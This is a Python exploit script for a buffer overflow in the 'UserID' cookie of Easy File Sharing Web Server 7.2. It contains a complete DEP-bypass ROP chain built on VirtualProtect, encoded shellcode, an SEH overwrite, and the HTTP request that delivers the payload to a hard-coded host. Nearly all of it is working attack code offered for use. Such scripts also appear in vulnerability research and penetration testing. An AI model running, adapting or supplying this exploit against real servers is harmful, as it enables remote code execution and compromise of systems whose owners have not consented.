#!/usr/bin/env python
#---------------------------------------------------------------------------------------------------#
# Exploit Title   : Easy File Sharing Web Server 7.2 - 'UserID' Buffer Overflow (DEP Bypass)        #
# Date            : 05/20/2018                                                                      #
# Exploit Author  : Manoj Ahuje                                                                     #
# Linkedin        : https://www.linkedin.com/in/manojahuje/                                         #
# Vendor Homepage : http://www.sharing-file.com/                                                    #
# Software Link   : http://www.sharing-file.com/efssetup.exe (7.2)                                  #
# Tested on       : Windows 7 Ultimate (x86) - Service Pack 1                                       # 
#---------------------------------------------------------------------------------------------------#


import requests
import struct
import sys, socket

host='192.168.129.175'
port=80

# rop chain 
# Modified by Hashim Jawad - kudos
#    rop_gadgets = [
#      0x005488bd,  # POP EAX # RETN [fsws.exe] 
#      0x1004d1fc,  # ptr to &VirtualAlloc() [IAT ImageLoad.dll]
#      0x00519294,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [fsws.exe] 
#      0x0040889a,  # XCHG EAX,ESI # RETN [fsws.exe] 
#      0x005051bd,  # POP EBP # RETN [fsws.exe] 
#      0x61c24169,  # & push esp # ret  [sqlite3.dll]
#      0x004fad0e,  # POP EBX # RETN [fsws.exe] 
#      0x00000001,  # 0x00000001-> ebx
#      0x00542678,  # POP EDX # ADD CL,CL # RETN [fsws.exe] 
#      0x00001000,  # 0x00001000-> edx
#      0x00542dc6,  # POP ECX # RETN [fsws.exe] 
#      0x00000040,  # 0x00000040-> ecx
#      0x1000725d,  # POP EDI # RETN [ImageLoad.dll] 
#      0x004fb50b,  # RETN (ROP NOP) [fsws.exe]
#      0x005056b4,  # POP EAX # RETN [fsws.exe] 
#      0x90909090,  # nop
#      0x00416598,  # PUSHAD # RETN [fsws.exe] 
#   ]
buffer=""

# ESI = ptr to VirtualProtect()
buffer += struct.pack('<L', 0x10015442)      # POP EAX # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x61c832d0)      # ptr to &VirtualProtect() [IAT sqlite3.dll]
buffer += struct.pack('<L', 0x1002248c)      # MOV EAX,DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x61c18d81)      # XCHG EAX,EDI # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x1001d626)      # XOR ESI,ESI # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x10021a3e)      # ADD ESI,EDI # RETN 0x00 [ImageLoad.dll]
 
# EBP = ReturnTo (ptr to jmp esp)
buffer += struct.pack('<L', 0x1001add7)      # POP EBP # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x61c24169)      # & push esp # ret  [sqlite3.dll]
 
# EDX = NewProtect (0x40)
buffer += struct.pack('<L', 0x10022c4c)       # XOR EDX,EDX # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
 
# ECX = lpOldProtect (ptr to W address)
buffer += struct.pack('<L', 0x1001b377)      # POP ECX # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x61c730ad)      # &Writable location [sqlite3.dll]
 
# EBX = dwSize (0x00000501)
buffer += struct.pack('<L', 0x10015442)       # POP EAX # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0xfffffaff)      # will become 0x00000501 after negate
buffer += struct.pack('<L', 0x100231d1)       # NEG EAX # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x1001da09)      # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+C] # INC DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x1001a858)      # RETN (ROP NOP) [ImageLoad.dll]
buffer += struct.pack('<L', 0x1001a858)      # RETN (ROP NOP) [ImageLoad.dll]
buffer += struct.pack('<L', 0x10015442)       # POP EAX # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x61c730ad)      # &Writable location [sqlite3.dll]
 
# EDI = ROP NOP (RETN)
buffer += struct.pack('<L', 0x10019f47)      # POP EDI # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x1001a858)      # RETN (ROP NOP) [ImageLoad.dll]
 
# EAX = NOP (0x90909090)
buffer += struct.pack('<L', 0x10015442)      # POP EAX # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x90909090)      # nop
buffer += struct.pack('<L', 0x100240c2)      # PUSHAD # RETN [ImageLoad.dll]

shellcode =  ""
shellcode += "\x89\xe3\xd9\xe5\xd9\x73\xf4\x5a\x4a\x4a\x4a\x4a"
shellcode += "\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43"
shellcode += "\x43\x37\x52\x59\x6a\x41\x58\x50\x30\x41\x30\x41"
shellcode += "\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42"
shellcode += "\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x49"
shellcode += "\x6c\x6b\x58\x4e\x62\x63\x30\x57\x70\x77\x70\x53"
shellcode += "\x50\x6e\x69\x6b\x55\x64\x71\x39\x50\x50\x64\x6e"
shellcode += "\x6b\x42\x70\x64\x70\x6c\x4b\x43\x62\x36\x6c\x6e"
shellcode += "\x6b\x43\x62\x75\x44\x6e\x6b\x52\x52\x64\x68\x46"
shellcode += "\x6f\x38\x37\x50\x4a\x76\x46\x64\x71\x4b\x4f\x4e"
shellcode += "\x4c\x77\x4c\x35\x31\x61\x6c\x77\x72\x76\x4c\x37"
shellcode += "\x50\x4a\x61\x5a\x6f\x74\x4d\x37\x71\x39\x57\x38"
shellcode += "\x62\x5a\x52\x30\x52\x66\x37\x6e\x6b\x50\x52\x62"
shellcode += "\x30\x6c\x4b\x62\x6a\x57\x4c\x6c\x4b\x52\x6c\x47"
shellcode += "\x61\x74\x38\x6d\x33\x71\x58\x43\x31\x38\x51\x50"
shellcode += "\x51\x6c\x4b\x33\x69\x67\x50\x35\x51\x48\x53\x6e"
shellcode += "\x6b\x57\x39\x75\x48\x69\x73\x54\x7a\x63\x79\x4e"
shellcode += "\x6b\x35\x64\x6c\x4b\x35\x51\x6a\x76\x46\x51\x39"
shellcode += "\x6f\x6e\x4c\x6f\x31\x48\x4f\x44\x4d\x36\x61\x48"
shellcode += "\x47\x34\x78\x6b\x50\x74\x35\x69\x66\x73\x33\x73"
shellcode += "\x4d\x49\x68\x55\x6b\x43\x4d\x47\x54\x74\x35\x68"
shellcode += "\x64\x63\x68\x4e\x6b\x46\x38\x66\x44\x33\x31\x59"
shellcode += "\x43\x61\x76\x6c\x4b\x66\x6c\x50\x4b\x4c\x4b\x50"
shellcode += "\x58\x47\x6c\x65\x51\x69\x43\x6c\x4b\x63\x34\x6e"
shellcode += "\x6b\x43\x31\x68\x50\x4e\x69\x61\x54\x65\x74\x65"
shellcode += "\x74\x51\x4b\x51\x4b\x73\x51\x73\x69\x62\x7a\x42"
shellcode += "\x71\x69\x6f\x39\x70\x51\x4f\x73\x6f\x43\x6a\x4e"
shellcode += "\x6b\x52\x32\x78\x6b\x4e\x6d\x31\x4d\x53\x5a\x67"
shellcode += "\x71\x6c\x4d\x4f\x75\x48\x32\x57\x70\x77\x70\x43"
shellcode += "\x30\x66\x30\x61\x78\x46\x51\x6e\x6b\x70\x6f\x6e"
shellcode += "\x67\x59\x6f\x6b\x65\x4f\x4b\x78\x70\x6d\x65\x39"
shellcode += "\x32\x50\x56\x73\x58\x6c\x66\x6c\x55\x4d\x6d\x6d"
shellcode += "\x4d\x49\x6f\x49\x45\x65\x6c\x45\x56\x73\x4c\x45"
shellcode += "\x5a\x6b\x30\x6b\x4b\x39\x70\x53\x45\x34\x45\x4d"
shellcode += "\x6b\x42\x67\x65\x43\x63\x42\x70\x6f\x50\x6a\x37"
shellcode += "\x70\x66\x33\x6b\x4f\x69\x45\x30\x63\x35\x31\x72"
shellcode += "\x4c\x65\x33\x76\x4e\x75\x35\x42\x58\x45\x35\x67"
shellcode += "\x70\x41\x41"

sc=""
junk1="A"*(2524-4-1)                             #2519
rop=buffer                                       #ropchain
junk2="A"*(2871-len(junk1)-len(rop))             #ESP pointer after ret
#shellcode
shell="\x90"*30+shellcode 
junk3="A"*(4059-len(junk1)-len(junk2)-len(rop)-len(shell))
nseh="BBBB"                                      #pointer to nseh
seh="\x69\x28\x02\x10"                           #10022869 ADD ESP,1004 RETN #land into buffer
trigger="D"*(20000-len(junk1)-len(junk2)-len(rop)-len(shell)-8)

sc=junk1 + rop + junk2 + shell + junk3 + nseh + seh + trigger

print '[+]Sending malicious Payload'

cookies = dict(SESSIONID='6771', UserID=sc,PassWD='')
data=dict(frmLogin='',frmUserName='',frmUserPass='',login='')
requests.post('http://'+host+':'+str(port)+'/forum.ghp',cookies=cookies,data=data)